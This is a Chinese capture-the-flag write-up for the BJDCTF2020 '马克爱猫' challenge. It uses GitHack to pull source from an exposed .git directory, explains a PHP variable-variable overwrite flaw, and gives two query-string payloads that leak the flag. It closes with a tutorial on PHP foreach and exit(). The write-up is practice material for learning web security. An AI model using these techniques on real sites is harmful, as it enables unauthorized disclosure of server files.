BJDCTF2020-马克爱猫

1. 首页

2. GitHack泄露源码

GitHack查看是否又源码泄露

1
python GitHack.py http://248694e2-d4f4-448b-8210-0e82177249e6.node3.buuoj.cn/.git/

3. 代码审计

1
2
3
4
5
//flag.php

<?php

$flag = file_get_contents('/flag');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//index.php部分有用源码

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

3.1 foreach

forsearch: post传参和get传参的参数键名和值。

3.1.1 对于POST型:

首先我们post:$flag=flag

1
2
3
4
5
6
foreach($_POST as $x => $y){   //$x=$flag,$y=flag
$$x = $y; //$$flag=flag
}

exit($file_get_contents('/flag'))
//按理输出flag,这里未定义,所以post不成立
1
2
3
4
5
6
7
8
9
//例如:
<?php
$flag = "flagtest";
$$flag="flag";
exit($flagtest);
?>

//输出
flag

3.1.2 对于GET型:

方法一:Get传参 ?yds=flag

1
2
3
4
5
6
7
8
9
foreach($_GET as $x => $y){  //$x=yds;$y=flag
$$x = $$y; //$yds=$flag
}

//以及下面的

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //当没有传参flag时
exit($yds); //$yds=file_get_contents('/flag');
} //输出$yds

方法二:Get传参 ?is=flag&&flag=flag

1
2
3
4
5
6
7
foreach($_GET as $x => $y){  //$is=$flag;
$$x = $$y; //$is=$flag;
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //?flag=flag满足条件
exit($is); //$is=$flag=file_get_contents('/flag')
} //输出$is

4. payload

4.1 法一

1
?yds=flag

4.2 法二

1
?is=flag&&flag=flag

5. foreach()函数

5.1 foreach有两种用法

第一种:遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

1
foreach (array_expression as $value)

第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

1
foreach (array_expression as $key => $value)

5.2 例子

5.2.1 第一种

一维普通数组:

1
2
3
4
5
6
7
8
9
10
11
12
//例子,一维普通数组:
$a = array('Tom','Mary','Peter','Jack');

foreach ($a as $value) {
echo $value."<br/>";
}

//输出结果
Tom
Mary
Peter
Jack

一维关联数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//例子,一维关联数组:
$b = array(
'a'=>'Tom',
'b'=>'Mary',
'c'=>'Peter',
'd'=>'Jack'
);

foreach ($b as $value) {
echo $value."<br/>";
}

//输出结果:
Tom
Mary
Peter
Jack

二维普通数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//例子,二维普通数组:
$c = array(
array('1','Tom'),
array('2','Mary'),
array('3','Peter'),
array('4','Jack')
);

foreach ($c as $value) {
print_r($value);
echo "<br/>";
}

//输出结果:
Array ( [0] => 11 [1] => Tom )
Array ( [0] => 22 [1] => Mary )
Array ( [0] => 33 [1] => Peter )
Array ( [0] => 44 [1] => Jack )

二维关联数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//例子,二维关联数组:
$d = array(
array('id'=>'11','name'=>'Tom'),
array('id'=>'22','name'=>'Mary'),
array('id'=>'33','name'=>'Peter'),
array('id'=>'44','name'=>'Jack')
);

foreach ($d as $value) {
print_r($value);
echo "<br/>";
}

//输出结果:
Array ( [id] => 11 [name] => Tom )
Array ( [id] => 22 [name] => Mary )
Array ( [id] => 33 [name] => Peter )
Array ( [id] => 44 [name] => Jack )

5.2.2 第二种

一维普通数组:

1
2
3
4
5
6
7
8
9
10
11
12
//例子,一维普通数组:
$a = array('Tom','Mary','Peter','Jack');

foreach ($a as $key => $value) {
echo $key.','.$value."<br/>";
}

//输出结果
0,Tom
1,Mary
2,Peter
3,Jack

一维关联数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//例子,一维关联数组:
$b = array(
'a'=>'Tom',
'b'=>'Mary',
'c'=>'Peter',
'd'=>'Jack'
);

foreach ($b as $key => $value) {
echo $key.','.$value."<br/>";
}

//输出结果:
a,Tom
b,Mary
c,Peter
d,Jack

二维普通数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//例子,二维普通数组:
$c = array(
array('1','Tom'),
array('2','Mary'),
array('3','Peter'),
array('4','Jack')
);

foreach ($c as $key => $value) {
echo '$key='.$key."<br/>";
print_r($value);
echo "<br/>";

}

//输出结果:
$key=0
Array ( [0] => 11 [1] => Tom )
$key=1
Array ( [0] => 22 [1] => Mary )
$key=2
Array ( [0] => 33 [1] => Peter )
$key=3
Array ( [0] => 44 [1] => Jack )

二维关联数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//例子,二维关联数组:
$d = array(
array('id'=>'11','name'=>'Tom'),
array('id'=>'22','name'=>'Mary'),
array('id'=>'33','name'=>'Peter'),
array('id'=>'44','name'=>'Jack')
);

foreach ($d as $key => $value) {
echo '$key='.$key."<br/>";
print_r($value);
echo "<br/>";
}

//输出结果:
$key=0
Array ( [id] => 11 [name] => Tom )
$key=1
Array ( [id] => 22 [name] => Mary )
$key=2
Array ( [id] => 33 [name] => Peter )
$key=3
Array ( [id] => 44 [name] => Jack )

6. exit()函数

exit()函数输出一条消息并退出当前脚本。

该函数时die()函数的别名。

1
2
3
4
5
6
7
8
9
//语法
exit(status)

//参数status
status必需,规定在退出脚本前写入的消息或状体号。状态号不会被写入输出。
1. 如果status是字符串,则该函数会在退出前输出字符串。
2. 如果status是整数,这个值会被用作退出状态。退出状态的值在0-254之间。退出状态255由PHP保留,不会被使用。状态0用于成功地终止程序。

注释:如果 PHP 的版本号大于等于 4.2.0,那么在 status 是整数的情况下,不会输出该参数。
1
2
3
4
5
6
7
8
//例子:
<?php
$flag = "flag";
exit($flag);
?>

//输出:
flag

参考:https://www.php.cn/php-weizijiaocheng-399438.html

https://www.jianshu.com/p/a4d782e91852